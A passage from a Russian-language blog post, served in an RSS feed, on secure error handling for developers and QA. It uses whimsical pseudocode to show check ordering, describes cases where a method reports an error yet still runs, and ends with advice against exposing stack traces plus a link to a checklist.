throw new exception(&quot;Нельзя сотворить здесь&quot;)
}
преобразовываем зиккурат в башню духов</pre>
  <p id="cMOE">Нужно &quot;до&quot;</p>
  <pre id="SvuJ">if (земля проклята) {
строим зиккурат
} else {
throw new exception(&quot;Нельзя сотворить здесь&quot;)
}</pre>
  <h3 id="qHIi">Где это встречается?</h3>
  <ul id="cwIv">
    <li id="Q7L6">Когда в методе много шагов с разными проверками</li>
    <li id="9vFm">Есть интеграция и ошибку можем получить, когда клиент оборвал соединение, но продолжил выполнение. Например, метод вернул ошибку биллинга, но деньги списались, потому что разработчик забыл передать CancellationToken.</li>
  </ul>
  <p id="V5nv">Надо сказать, что оба варианта встречаются редко - чаще метод возвращает 200 success, когда код не был выполнен. Тем не менее такие кейсы встречаются на проде и в багбаунти и бывает полезно убедится, что ошибка стабильна и метод действительно не был выполнен.</p>
  <h2 id="OBI0">В заключение:</h2>
  <p id="GEqD">Как быть, если ты разработчик/QA и хочешь не допустить перечисленные проблемы?</p>
  <ul id="qNGD">
    <li id="K5EF">Не выводить StackTrace в текст ошибки</li>
    <li id="8HPd">StackTrace выводить в систему логирования</li>
    <li id="wHLt">Не выводить избыточную информацию в текст ошибки</li>
    <li id="ef5J">Задуматься какую информацию выводите пользователям</li>
    <li id="29Yn">Искать и исправлять уязвимости :)</li>
  </ul>
  <p id="4gzx">Пользуйтесь чек-листом:</p>
  <p id="Vag1"><a href="https://github.com/VasilyevaAn/ru-error-handling-checklist" target="_blank">Чек-лист &quot;Безопасность обработки ошибок&quot;</a></p>

]]></content:encoded></item></channel></rss>